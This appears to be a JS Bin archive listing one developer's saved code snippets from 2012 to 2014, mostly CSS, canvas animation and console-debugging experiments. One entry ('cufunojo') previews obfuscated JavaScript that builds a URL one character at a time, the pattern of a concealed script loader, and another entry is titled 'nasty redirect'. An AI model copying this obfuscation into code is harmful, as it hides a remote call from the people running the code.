1 17 Jul 2014 Archive Un-archive #box { height: 100px; width: 100px; background: red; } #box { position: relative; animation: animationFrames ease 6s; animation-iteration-count: infinite; -webkit-animation: animationFrames ease 6s; -webkit-animation-iteration-count: infinite; -moz-animat
yayif 17 Jul 2014 Archive Un-archive #box { height: 100px; width: 100px; background: red; } #box { position: relative; animation: animationFrames ease 6s; animation-iteration-count: infinite; -webkit-animation: animationFrames ease 6s; -webkit-animation-iteration-count: infinite; -moz-animat
lafez 16 Jul 2014 Archive Un-archive CSS-only custom-styled selects v4 Todd Parker - Filament Group Inc. How this works: This styles a native select consistently cross-platform with only minimal CSS. The native select is then styled so it is essentially invisible (no appearance, border, bg)
zixeha 16 Jul 2014 Archive Un-archive %css%
5 16 Jul 2014 Archive Un-archive %css%
4 15 Jul 2014 Archive Un-archive %css%
3 15 Jul 2014 Archive Un-archive %css%
2 15 Jul 2014 Archive Un-archive %css%
1 15 Jul 2014 Archive Un-archive %css%
nalipa 16 Jul 2014 Archive Un-archive // Hämta //jsbin.com/tidudasa/1/edit med ajax // Om hämtningen lyckas, hämta resterande versioner seriellt // returnera antal versioner var request, seq = Promise.resolve(); var getBin = function(bin) { return new Promise(function(resolve, reject) { reque
1 16 Jul 2014 Archive Un-archive // Hämta http://jsbin.com/tidudasa/1/edit med ajax // Om hämtningen lyckas, hämta resterande versioner seriellt // returnera antal versioner var request, seq = Promise.resolve(); var getBin = function(bin) { return new Promise(function(resolve, reject) {
viyes 16 Jul 2014 Archive Un-archive Here's some markup...doesn't this work?
xajixe 15 Jul 2014 Archive Un-archive console.log("hello world");
mimoma 15 Jul 2014 Archive Un-archive @import url("http://fonts.googleapis.com/css?family=Open+Sans:300"); @import url(http://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css); body { background-color: #222; color: #ccc; font-family: "Open Sans", sans-serif; font-weight: 300; -
gedus 15 Jul 2014 Archive Un-archive function spinner(element) { 'use strict'; var c = element || document.createElement('canvas'); if (!c.getContext) { return false; } var ctx = c.getContext('2d'); var rafID = null; var size = c.height = c.width = 111; var TORADIAN = Math.PI / 180; var w =
konoge 14 Jul 2014 Archive Un-archive f = $('form'); console.log(f);
netene 14 Jul 2014 Archive Un-archive :root { --green: #a6c776; } @custom-media --narrow-window screen and (max-width: 30em); @media (--narrow-window) { html { font-size: 1.2rem; } } a { color: var(--green); font-variant: all-small-caps; transition: color 1s; } a:hover { color: color(var(--gr
1 11 Jul 2014 Archive Un-archive :root { --green: #a6c776; } @custom-media --narrow-window screen and (max-width: 30em); @media (--narrow-window) { html { font-size: 1.2rem; } } a { color: var(--green); font-variant: all-small-caps; transition: color 1s; } a:hover { color: color(var(--gr
giboz 14 Jul 2014 Archive Un-archive CSS only custom-styled select Todd Parker - Filament Group Inc. How this works: This styles a native select consistently cross-platform with only minimal CSS. The native select is then styled so it is essentially invisible (no appearance, border, bg) leav
dofofexa 13 Jul 2014 Archive Un-archive \{{double-pendulum}} {{outlet}} Made by @bantic, and heavily inspired by @MicaelOl's excellent double pendulum sim.See also this ember single pendulum simulation. {{double-pendulum l1=80 l2=80 m1=5 m2=5 angle1=10 angle2=30 }} Angle 1: {{input
muxeh 12 Jul 2014 Archive Un-archive CSS only custom-styled select Todd Parker - Filament Group Inc. How this works: This styles a native select consistently cross-platform with only minimal CSS. The native select is then styled so it is essentially invisible (no appearance, border, bg) leav
bugof 11 Jul 2014 Archive Un-archive function foo() { }
lidux 10 Jul 2014 Archive Un-archive See console for promise details
8 10 Jul 2014 Archive Un-archive See console for promise details
7 10 Jul 2014 Archive Un-archive See console for promise details
6 10 Jul 2014 Archive Un-archive See console for promise details
5 10 Jul 2014 Archive Un-archive See console for promise details
4 10 Jul 2014 Archive Un-archive See console for promise details
3 10 Jul 2014 Archive Un-archive See console for promise details
2 10 Jul 2014 Archive Un-archive See console for promise details
1 10 Jul 2014 Archive Un-archive See console for promise details
bonob 09 Jul 2014 Archive Un-archive input { font-size: 14px; padding: 4px; } #librarySearch { display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #select { background: white; padding: 10px; max-width: 300px; }
lilah 09 Jul 2014 Archive Un-archive Try It Now! Type the following commands into the console below, and hit Enter to see the results 3 == 3 3 == 5 3 &gt;= 3 3 &gt;= 2 100 &lt; 2 298 != 298
hozif 08 Jul 2014 Archive Un-archive function foo() { eval('is bad for you'); } var 1one = 2;
vosey 08 Jul 2014 Archive Un-archive var app = angular.module('myapp', []); app.controller('MainCtrl', function($scope) { $scope.name = 'World'; }); app.directive('helloWorld',function(){ return { replace:true, restrict: 'AE', template: '<h3>Hello World!!</h3>', compile: function () { consol
xobeca 08 Jul 2014 Archive Un-archive var Autocomplete = (function() { var list = []; function levenshtein(a, b) { if(a.length === 0) return b.length; if(b.length === 0) return a.length; var matrix = [], i = 0, j = 0; for(i; i <= b.length; i++){ matrix[i] = [i]; } for(j; j <= a.length; j++){
vidir 07 Jul 2014 Archive Un-archive User Data:
wiyur 03 Jul 2014 Archive Un-archive Does this work?
luzeb 03 Jul 2014 Archive Un-archive Is this okay?
tujev 03 Jul 2014 Archive Un-archive d[ o_0 ]b
nahofu 02 Jul 2014 Archive Un-archive User Data:
dosuje 02 Jul 2014 Archive Un-archive input { font-size: 14px; padding: 4px; } #librarySearch { display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #select { background: white; padding: 10px; max-width: 300px; }
3 02 Jul 2014 Archive Un-archive input { font-size: 14px; padding: 4px; } #librarySearch { display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #select { background: white; padding: 10px; max-width: 300px; }
2 02 Jul 2014 Archive Un-archive input { font-size: 14px; padding: 4px; } #librarySearch { display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #select { background: white; padding: 10px; max-width: 300px; }
1 02 Jul 2014 Archive Un-archive input { font-size: 14px; padding: 4px; } #librarySearch { display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #select { background: white; padding: 10px; max-width: 300px; }
lodezu 02 Jul 2014 Archive Un-archive Barebones / Form Example Basic form styles The fieldset element enables you to group related fields within a form, and each one should contain a corresponding legend. The label element ensures field descriptions are associated with their corresponding f
lataz 02 Jul 2014 Archive Un-archive /* ============================================================ Viewport ============================================================ */ @-ms-viewport { width: device-width; } @viewport { width: device-width; } /* =========================================
2 02 Jul 2014 Archive Un-archive /* ============================================================ Helpers ============================================================ */ /* Visibly hidden */ .hidden { border: 0; padding: 0; clip: rect(0 0 0 0); width: 1px; height: 1px; margin: -1px; overf
1 02 Jul 2014 Archive Un-archive /* ============================================================ Viewport ============================================================ */ @-ms-viewport { width: device-width; } @viewport { width: device-width; } /* =========================================
pipuxu 02 Jul 2014 Archive Un-archive /* ============================================================ Helpers ============================================================ */ /* Visibly hidden */ .hidden { border: 0; padding: 0; clip: rect(0 0 0 0); width: 1px; height: 1px; margin: -1px; overf
fiwuq 28 Jun 2014 Archive Un-archive Update Update Update Update
1 28 Jun 2014 Archive Un-archive Update Update Update Update
vujel 27 Jun 2014 Archive Un-archive JS Bin
feyopa 26 Jun 2014 Archive Un-archive if (![].map2) { Array.prototype.map2 = function (fn) { return $.map(this, fn); }; } console.log( [1,2,3,4].map2(function (n) { return n * 2; }) );
1 26 Jun 2014 Archive Un-archive if (![].map) { Array.prototype.map = function (fn) { return $.map(this, fn); }; }
mijuk 24 Jun 2014 Archive Un-archive nasty redirect
vuker 23 Jun 2014 Archive Un-archive Server code here: https://github.com/remy/geo Afghanistan Åland Islands Albania Algeria American Samoa Andorra Angola Anguilla Antarctica Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus
1 23 Jun 2014 Archive Un-archive Afghanistan Åland Islands Albania Algeria American Samoa Andorra Angola Anguilla Antarctica Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bermuda Bhutan Bolivia Bo
dejep 23 Jun 2014 Archive Un-archive Description goes here
dehori 20 Jun 2014 Archive Un-archive Check console for output
4 20 Jun 2014 Archive Un-archive Check console for output
3 20 Jun 2014 Archive Un-archive Check console for output
2 19 Jun 2014 Archive Un-archive Check console for output
1 19 Jun 2014 Archive Un-archive Check console for output
watipa 16 Jun 2014 Archive Un-archive -->
1 15 Jun 2014 Archive Un-archive .hide { -webkit-transform: translate(0px,-5px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 0 { -webkit-transform: translate(0,0px); } 100% { -webkit-transform: translate(0,0px); } }
lewin 11 Jun 2014 Archive Un-archive 'use strict'; var Promise = require('rsvp').Promise; module.exports = function (fn, argumentCount) { argumentCount = argumentCount || Infinity; return function () { var self = this; var args = Array.prototype.slice.call(arguments); return new Promise(func
cukij 11 Jun 2014 Archive Un-archive 'use strict'; var path = require('path'); var fs = require('fs'); var total = 0; var dir = path.join(__dirname, 'remy'); fs.readdir(dir, function (error, files) { if (error) { console.log(error); process.exit(1); } var length = files.length; files.forEach
1 11 Jun 2014 Archive Un-archive 'use strict'; var fs = require('fs'); var total = 0; fs.readdir(__dirname + 'remy', function (error, files) { if (error) { console.log(error); process.exit(1); } files.forEach(function (file) { fs.stat(file, function (err, stat) { length--; if (stat.isFil
dajen 11 Jun 2014 Archive Un-archive body { font-family: sans-serif; }
hokami 10 Jun 2014 Archive Un-archive JS Bin
giras 10 Jun 2014 Archive Un-archive [ { "login": "remy", "id": 13700, "avatar_url": "https://avatars.githubusercontent.com/u/13700?", "gravatar_id": "c8b387c489181844b3ffc704fadc0f14", "url": "https://api.github.com/users/remy", "html_url": "https://github.com/remy", "followers_url": "https
fonam 10 Jun 2014 Archive Un-archive * { font-family: helvetica; }
dulej 09 Jun 2014 Archive Un-archive for (var i;;) { console.log('ok'); } console.log('we are safe');
1 09 Jun 2014 Archive Un-archive while (true) { console.log('ok'); }
yotix 09 Jun 2014 Archive Un-archive This is an example of sharing what I'm coding.
yokoq 08 Jun 2014 Archive Un-archive console.clear(); console.log(document.title); function doit(it) { console.log(it) } doit(10); doit("remy"); doit(requestAnimationFrame); doit(doit.toString())
lokuq 06 Jun 2014 Archive Un-archive 'use strict'; value = 10;
vetareyi 06 Jun 2014 Archive Un-archive test
6 06 Jun 2014 Archive Un-archive test actual link
2 05 Jun 2014 Archive Un-archive test
kepaj 06 Jun 2014 Archive Un-archive 'use strict'; function build() { var pre = document.createElement('pre'); pre.id = '__console'; var styleCSS = 'pre#__console { padding: 20px; font-family: monospace; font-size: 18px; line-height: 18px; } body,html { margin: 0; }'; var style = document.cr
qabov 05 Jun 2014 Archive Un-archive /* examples: window.location = 'foo'; window['location'] = 'foo' window['loc' + 'ation'] = 'foo'; location = 'foo'; var loc = location; loc.href = 'http://example.com' etc... */ (function () { var window = this; var top = this; var location = window.locat
fulaj 05 Jun 2014 Archive Un-archive /* examples: window.location = 'foo'; window['location'] = 'foo' window['loc' + 'ation'] = 'foo'; location = 'foo'; var loc = location; loc.href = 'http://example.com' etc... */
gixum 05 Jun 2014 Archive Un-archive JS Bin
zizusi 04 Jun 2014 Archive Un-archive var Random = (function() { /* This is just John Carmack's table driven pseudo-random number generator */ var rndtable = [ 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66, 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36, 95, 110,
3 03 Jun 2014 Archive Un-archive var Random = (function() { /* This is just John Carmack's table driven pseudo-random number generator */ var rndtable = [ 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66, 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36, 95, 110,
2 03 Jun 2014 Archive Un-archive var Random = (function() { /* This is just John Carmack's table driven pseudo-random number generator */ var rndtable = [ 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66, 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36, 95, 110,
1 02 Jun 2014 Archive Un-archive var Random = (function() { /* This is just John Carmack's table driven pseudo-random number generator */ var rndtable = [ 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66, 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36, 95, 110,
gajav 03 Jun 2014 Archive Un-archive No one likes you...
netob 03 Jun 2014 Archive Un-archive Okay? But this saves.
tisuz 29 May 2014 Archive Un-archive # Project structure Example project directory, the root folders are pretty consistent, the sub directories (on `lib`, etc) are just examples of what *might* be in there. . ├── lib │ ├── db │ ├── handlers │ └── routes ├── node_modules ├── public │ ├── asse
1 29 May 2014 Archive Un-archive # Project structure Example project directory, the root folders are pretty consistent, the sub directories (on `lib`, etc) are just examples of what *might* be in there. ```text . ├── lib │ ├── db │ ├── handlers │ └── routes ├── node_modules ├── public │
awikaz 29 May 2014 Archive Un-archive 1 2 3 4 Won't cause a hit
1 28 Jun 2013 Archive Un-archive var debug = $('#debug'), hits = 0; Node.prototype.delegate = function (selector, event, fn) { var matches = this.mozMatchesSelector || this.webkitMatchesSelector || this.oMatchesSelector || this.matchesSelector; this.on(event, function (event) { if (match
processor 28 May 2014 Archive Un-archive .
perayiro 27 May 2014 Archive Un-archive function lengthLessThan6(value, index, array) { return value.length < 6; } var names = ["Justin", "Monica", "Irene"]; console.log(names.some(lengthLessThan6)); // true
lanes 23 May 2014 Archive Un-archive (function(d){l=localStorage,k='c',q=d.body;q.contentEditable=true;q.innerHTML=l[k]||'';q.onkeyup=function(){l[k]=q.innerHTML;}})(document);
kumun 23 May 2014 Archive Un-archive Features 1a sdckjn ksdc 1a cwdx 1a uhweiuo hdsc 1a sdac 1a ru h 1a fg 1b asdc 1b wertfgj cwdx 1b qi uhweiuo hdsc 1b asdcsadc sdac 1b ryh ru h 1b qerw fg Pro features 2a asdc 2a wertfgj cwdx 2a qi uhweiuo hdsc 2a asdcsadc sdac 2a ryh ru h 2a qerw fg
matic 23 May 2014 Archive Un-archive body { margin: 0; } #topheader { background: #f1f7fe; padding: 30px; height: 300px; }
wataw 23 May 2014 Archive Un-archive console.clear(); var old = console.log; console.log = function() { var args = [].slice.apply(arguments).concat([(new Error()).stack.split(/\n/)[2].trim()]); return old.apply(this, args); }; function test(t) { console.log(t); } test('remy');
1 23 May 2014 Archive Un-archive console.clear(); ['log', 'warn'].forEach(function(method) { var old = console[method]; console[method] = function() { var args = [].slice.apply(arguments).concat([(new Error()).stack.split(/\n/)[2].trim()]); return old.apply(console, args); }; }); functio
qagaz 23 May 2014 Archive Un-archive # Where is that console.log? Did you ever have phantom `console.log` - or more specifically you've no idea where it was happening? I have. This tiny bit of code will help you identify *where* the logging is being called from. The nice thing is it works in
nanud 23 May 2014 Archive Un-archive console.clear(); //* var old = console.log; console.log = function() { var stack = (new Error()).stack.split(/\n/); if (stack[0].indexOf('Error') === 0) { stack = stack.slice(1); } var args = [].slice.call(arguments, 0).concat([stack[1].trim()]); return o
1 23 May 2014 Archive Un-archive console.clear(); //* var old = console.log; console.log = function() { var stack = (new Error()).stack.split(/\n/); if (stack[0].indexOf('Error') === 0) { stack = stack.slice(1); } var args = [].slice.call(arguments, 0).concat([stack[1].trim()]); return o
fapubudo 23 May 2014 Archive Un-archive console.clear(); //* var old = console.log; console.log = function() { var stack = (new Error()).stack.split(/\n/); if (stack[0].indexOf('Error') === 0) { stack = stack.slice(1); } var args = [].slice.call(arguments, 0).concat([stack[1].trim()]); return o
jaqig 23 May 2014 Archive Un-archive .rainbow-preloader .rainbow-stripe:nth-child(1) { border-color: #f15a5a; clip: rect(0, 84px, 42px, 0); height: 60px; left: 48px; -webkit-transform: rotate(180deg); top: 48px; width: 60px; z-index: 5; -webkit-animation: rainbow-in-out 5s 0.1s infinite; } .
mebih 22 May 2014 Archive Un-archive This should be archived
cufunojo 20 May 2014 Archive Un-archive var uXDQEANspFzkRhSoy = "h";var WJCocpHSlIqwvmDMYe = "t";var EIlfJpNTM = "t";var zeZJlL = "p";var FywzkXVANKE = ":";var thAwGudUmzFJvOPXI = "/";var rsWeO = "/";var PoAxSbqVmhpXfjvJnH = "p";var tgSokVIhBNJbcGD = "c";var DEvNwzSliJrBXcCUTaek = "-";var SZqem
sejav 17 May 2014 Archive Un-archive none
muqit 16 May 2014 Archive Un-archive .icon { width: 32px; height: 32px; stroke: black; } .icon.large { width: 64px; height: 64px; } .icon.tiny { width: 16px; height: 16px; } .icon.active { stroke: hotpink; }
rimuy 16 May 2014 Archive Un-archive { "user": "js_bin" }
hamex 15 May 2014 Archive Un-archive console.clear(); var p = 100; var req = $.ajax({ url: '/quruh/2.json', dataType: 'json' }); req.then(function (data) { var total = data.reduce(function (prev, cur, i, data) { return prev + cur.count; }, 0); console.log('Total requests: ' + total); var suc
1 15 May 2014 Archive Un-archive console.clear(); var req = $.ajax({ url: '/quruh/2.json', dataType: 'json' }); req.then(function (data) { // console.log('Total IPs: ' + data.length); var total = data.reduce(function (prev, cur, i, data) { return prev + cur.count; }, 0); console.log('Tot
payif 15 May 2014 Archive Un-archive console.clear(); var p = 10; var req = $.ajax({ url: '/quruh/2.json', dataType: 'json' }); req.then(function (data) { // console.log('Total IPs: ' + data.length); var total = data.reduce(function (prev, cur, i, data) { return prev + cur.count; }, 0); cons
1 15 May 2014 Archive Un-archive console.clear(); var req = $.ajax({ url: '/quruh/2.json', dataType: 'json' }); req.then(function (data) { console.log('Total IPs: ' + data.length); var success = data.filter(function (d) { return percentage(10, d.ip + ''); }); console.log('In the 10% rang
quruh 15 May 2014 Archive Un-archive [ { "ip": 0, "count":2252 }, { "ip": 1, "count":13230 }, { "ip": 10, "count":14427 }, { "ip": 100, "count":5811 }, { "ip": 101, "count":5557 }, { "ip": 102, "count":6007 }, { "ip": 103, "count":3312 }, { "ip": 104, "count":5638 }, { "ip": 105, "count":706
1 15 May 2014 Archive Un-archive [{ "ip": , "count":19651 }, { "ip": 0, "count":2252 }, { "ip": 1, "count":13230 }, { "ip": 10, "count":14427 }, { "ip": 100, "count":5811 }, { "ip": 101, "count":5557 }, { "ip": 102, "count":6007 }, { "ip": 103, "count":3312 }, { "ip": 104, "count":5638 }
zafir 15 May 2014 Archive Un-archive var output = document.getElementById('out'); document.getElementsByTagName('input')[0].oninput = function () { out.innerHTML = percentage(10, this.value); } function AsNum(ip) { // takes the last part of an IP (n.n.n.last-part) an^d returns as number retu
gecew 15 May 2014 Archive Un-archive
tiper 15 May 2014 Archive Un-archive
1 15 May 2014 Archive Un-archive
nanux 13 May 2014 Archive Un-archive object - can only been seen in full output... hmm :/ If you click this link you won't see it, but if you manually navigate to http://jsbin.com/kuhox/1 it should be cool This shouldn't be visible...but it is This shouldn't be visible...but it is
1 13 May 2014 Archive Un-archive object - can only been seen in full output... hmm :/ If you click this link you won't see it, but if you manually navigate to http://jsbin.com/kuhox/1 it should be cool This shouldn't be visible...but it is
dihem 13 May 2014 Archive Un-archive .logo { width: 200px; height: 164px; } .kiwi { fill: #94d31b; /*/ stroke: #909; // stroke-width: 10; // not sure which of these is correct // stroke-linejoin: butt | round | square; // stroke-linecap: butt | round | square; // stroke-dasharray: 5, 5, 10;
hafuz 08 May 2014 Archive Un-archive window.onblur = function () { document.body.style.background = 'red'; }
xitumepe 08 May 2014 Archive Un-archive external link to jsbin
megax 06 May 2014 Archive Un-archive { "username": "remysharp", "location": "Brighton, UK", "twitter": "rem", "blog": "http://remysharp.com" }
rubey 06 May 2014 Archive Un-archive // actual representation of snow in Brighton - dirty code, but small :) // run in your console a=document.createElement("b");document.body.appendChild(a);with(a.style){position="fixed";left=top=0;height=width="100%";background="#fff"};
civaz 06 May 2014 Archive Un-archive JS Bin
bexam 02 May 2014 Archive Un-archive one two three four
rogic 26 Apr 2014 Archive Un-archive This works for me so this is odd.
varof 14 Apr 2014 Archive Un-archive I am an option I am an option I am an option I am an option I am an option
2 14 Apr 2014 Archive Un-archive I am an option I am an option I am an option I am an option I am an option
1 14 Apr 2014 Archive Un-archive I am an option I am an option I am an option I am an option I am an option
haceb 14 Apr 2014 Archive Un-archive [add your bin description]
iwovaj 14 Apr 2014 Archive Un-archive Simple animation tests
75 04 Feb 2014 Archive Un-archive Simple animation tests
74 20 Apr 2013 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), HEIGHT = window.innerHeight, WIDTH = window.innerWidth, TO_RADIANS = Math.PI / 360; var raf = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationF
73 20 Apr 2013 Archive Un-archive Simple animation tests
72 20 Apr 2013 Archive Un-archive Simple animation tests
71 20 Apr 2013 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), HEIGHT = window.innerHeight, WIDTH = window.innerWidth, TO_RADIANS = Math.PI / 360; var raf = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationF
70 18 Apr 2013 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), HEIGHT = window.innerHeight, WIDTH = window.innerWidth, TO_RADIANS = Math.PI / 180; var raf = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationF
69 18 Apr 2013 Archive Un-archive Simple animation tests
68 08 Apr 2013 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), HEIGHT = window.innerHeight, WIDTH = window.innerWidth, TO_RADIANS = Math.PI / 180; var raf = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationF
66 16 Feb 2013 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), HEIGHT = window.innerHeight, WIDTH = window.innerWidth, TO_RADIANS = Math.PI / 180; var raf = (function(){ return function( callback ){ window.setTimeout(callback, 1000 / 60);
64 09 Jan 2013 Archive Un-archive Simple animation tests
63 09 Jan 2013 Archive Un-archive Simple animation tests
62 25 Dec 2012 Archive Un-archive Simple animation tests
61 25 Dec 2012 Archive Un-archive Simple animation tests
60 25 Dec 2012 Archive Un-archive Simple animation tests
59 07 Dec 2012 Archive Un-archive Simple animation tests
58 07 Dec 2012 Archive Un-archive Simple animation tests
52 06 Dec 2012 Archive Un-archive Simple animation tests
51 06 Dec 2012 Archive Un-archive Simple animation tests
50 01 Dec 2012 Archive Un-archive Simple animation tests
46 30 Nov 2012 Archive Un-archive Simple animation tests
31 29 Nov 2012 Archive Un-archive Simple animation tests
3 29 Nov 2012 Archive Un-archive Simple animation tests
1 29 Nov 2012 Archive Un-archive Simple animation tests
ocafen 14 Apr 2014 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'); var WIDTH = canvas.width = window.innerWidth; var HEIGHT = canvas.height = window.innerHeight; var raf = webkitRequestAnimationFrame; var TO_RADIANS = Math.PI / 180; var ball =
3 14 Apr 2014 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'); var WIDTH = canvas.width = window.innerWidth; var HEIGHT = canvas.height = window.innerHeight; var raf = webkitRequestAnimationFrame; var TO_RADIANS = Math.PI / 180; var ball =
2 22 Dec 2012 Archive Un-archive var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'); var WIDTH = canvas.width = window.innerWidth; var HEIGHT = canvas.height = window.innerHeight; var raf = webkitRequestAnimationFrame; var TO_RADIANS = Math.PI / 180; var ball =
1 22 Dec 2012 Archive Un-archive var noop = function () {}; function Game() { var onEachFrame; if (window.webkitRequestAnimationFrame) { onEachFrame = function(cb) { var _cb = function() { cb(); webkitRequestAnimationFrame(_cb); }; _cb(); }; } else if (window.mozRequestAnimationFrame) {
ilotak 14 Apr 2014 Archive Un-archive subtree jQuery plugin
25 29 Jun 2012 Archive Un-archive subtree jQuery plugin
21 29 Jun 2012 Archive Un-archive subtree jQuery plugin
24 29 Jun 2012 Archive Un-archive subtree jQuery plugin
23 29 Jun 2012 Archive Un-archive subtree jQuery plugin
22 29 Jun 2012 Archive Un-archive var observer = new MutationSummary({ callback: insert, queries: [{ element: '#target li' }] }); // this code would exist in your external code and wait for modifications to the DOM element. var target = $('#target'); function insert() { console.log('mutat
20 29 Jun 2012 Archive Un-archive var observer = new MutationSummary({ callback: insert, queries: [{ element: 'li' }] }); // this code would exist in your external code and wait for modifications to the DOM element. var target = $('#target'); function insert() { console.log('mutation'); t
19 29 Jun 2012 Archive Un-archive subtree jQuery plugin
17 28 Jun 2012 Archive Un-archive subtree jQuery plugin
13 28 Jun 2012 Archive Un-archive subtree jQuery plugin
3 28 Jun 2012 Archive Un-archive subtree jQuery plugin
2 28 Jun 2012 Archive Un-archive subtree jQuery plugin
1 28 Jun 2012 Archive Un-archive subtree jQuery plugin
evolaj 14 Apr 2014 Archive Un-archive ellipsis example
12 24 Jul 2012 Archive Un-archive http://jsbin.dev/olizag/
11 24 Jul 2012 Archive Un-archive http://jsbin.dev/olizag/
10 24 Jul 2012 Archive Un-archive http://jsbin.dev/olizag/
2 20 Jul 2012 Archive Un-archive http://jsbin.dev/olizag/
1 20 Jul 2012 Archive Un-archive http://jsbin.dev/olizag/
egoben 14 Apr 2014 Archive Un-archive Click to add Particles
2 07 Aug 2013 Archive Un-archive Click to add Particles
1 02 Aug 2013 Archive Un-archive Click to add Particles
kuzef 14 Apr 2014 Archive Un-archive var text3dParticles = require('text-3d-particles') var opts = { width: 400 , height: 400 , fontSize: 100 , text: 'Output' , density: 6 , nodeSize: 20 , foreground: '#ddd' , background: '#000' , duration: 6000 } var textGraph = text3dParticles(opts) docume
4 10 Apr 2014 Archive Un-archive Demo thanks to @davidguttman
3 10 Apr 2014 Archive Un-archive Demo thanks to @davidguttman Making changed
2 04 Apr 2014 Archive Un-archive Demo thanks to @davidguttman
1 04 Apr 2014 Archive Un-archive var text3dParticles = require('text-3d-particles') var opts = { width: 400 , height: 400 , fontSize: 100 , text: 'JS Bin' , density: 6 , nodeSize: 20 , foreground: '#ddd' , background: '#000' , duration: 6000 } var textGraph = text3dParticles(opts) docume
kutur 10 Apr 2014 Archive Un-archive // this okay? console.log('foo');
axova3 04 Apr 2014 Archive Un-archive $(function () { //grid width and height var bw = 300; var bh = 300; //padding around grid var p = 15; //size of canvas var cw = bw + (p*2) + 1; var ch = bh + (p*2) + 1; var canvas = $('<canvas/>').attr({width: cw, height: ch}).appendTo('body'); var contex
feyijoni 04 Apr 2014 Archive Un-archive var text3dParticles = require('text-3d-particles') var opts = { width: 400 , height: 400 , fontSize: 100 , text: 'JS Bin' , density: 6 , nodeSize: 20 , foreground: '#ddd' , background: '#000' , duration: 6000 } var textGraph = text3dParticles(opts) docume
linow 04 Apr 2014 Archive Un-archive o-ft-buttons: individual demo body { margin: 0; } StandardSelectedDisabled StandardSelectedDisabled
vequl 04 Apr 2014 Archive Un-archive <form action="post" action="http://jsbin.com"></form> <script> var form = document.querySelector('form'); var source = document.querySelector('#source-html'); </script> <script type="text/html" id="source-html"> <!DOCTYPE html> <!--[if IE 7]> <html class=
jotuc 04 Apr 2014 Archive Un-archive StandardSelectedDisabled StandardSelectedDisabled
kogiz 04 Apr 2014 Archive Un-archive #DIV_1 { box-sizing: border-box; height: 741.390625px; max-width: 1100px; width: 1100px; font: normal normal normal 16px/28.799999237060547px Montserrat, 'Helvetica Neue', Helvetica, Arial, sans-serif; margin: 0px 25px; }/*#DIV_1*/ #DIV_2 { box-sizing: bo
1 04 Apr 2014 Archive Un-archive #DIV_1 { box-sizing: border-box; height: 741.390625px; max-width: 1100px; width: 1100px; font: normal normal normal 16px/28.799999237060547px Montserrat, 'Helvetica Neue', Helvetica, Arial, sans-serif; margin: 0px 25px; }/*#DIV_1*/ #DIV_2 { box-sizing: bo
quced 04 Apr 2014 Archive Un-archive head { display: block; } #AutoprefixerOut { display: block; font-family: monospace; white-space: pre; } img { filter: grayscale(1) brightness(158%); }
hitis 03 Apr 2014 Archive Un-archive JS Bin
yocij 02 Apr 2014 Archive Un-archive window.onscroll = function () { requestAnimationFrame(doMyFunkyStuff); }
fisot 02 Apr 2014 Archive Un-archive console.clear(); console.log('this is pretty'); console.log(document.title.toUpperCase());
oRUrUTU 01 Apr 2014 Archive Un-archive function shuffle(array) { var m = array.length, t, i; // While there remain elements to shuffle… while (m) { // Pick a remaining element... i = Math.floor(Math.random() * m--); // And swap it with the current element. t = array[m]; array[m] = array[i]; ar
2 07 Nov 2013 Archive Un-archive function shuffle(array) { var m = array.length, t, i; // While there remain elements to shuffle… while (m) { // Pick a remaining element… i = Math.floor(Math.random() * m--); // And swap it with the current element. t = array[m]; array[m] = array[i]; arra
1 07 Nov 2013 Archive Un-archive function shuffle(array) { var m = array.length, t, i; // While there remain elements to shuffle… while (m) { // Pick a remaining element… i = Math.floor(Math.random() * m--); // And swap it with the current element. t = array[m]; array[m] = array[i]; arra
jafuj 01 Apr 2014 Archive Un-archive JS Bin
xewil 31 Mar 2014 Archive Un-archive .test { width: 100px; height: 100px; border: 1px solid #000; margin: 50px; border-radius: 20px; transform: rotate(45deg); background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); }
zimov 30 Mar 2014 Archive Un-archive // Weird: for (var i = 0; i < 10; i++) {console.log(i)}
vuzej 30 Mar 2014 Archive Un-archive foo = (i) -> {id: i} bar = (i) -> j for j in [1...i]
jayim 29 Mar 2014 Archive Un-archive console.log('ok')
miwed 28 Mar 2014 Archive Un-archive This is the actual output: document.getElementById("AutoprefixerOut2").innerHTML = autoprefixer(AutoprefixerSettings || null).process(document.getElementById("AutoprefixerIn").innerHTML).css;
taxey 28 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
xabeh 28 Mar 2014 Archive Un-archive You nice
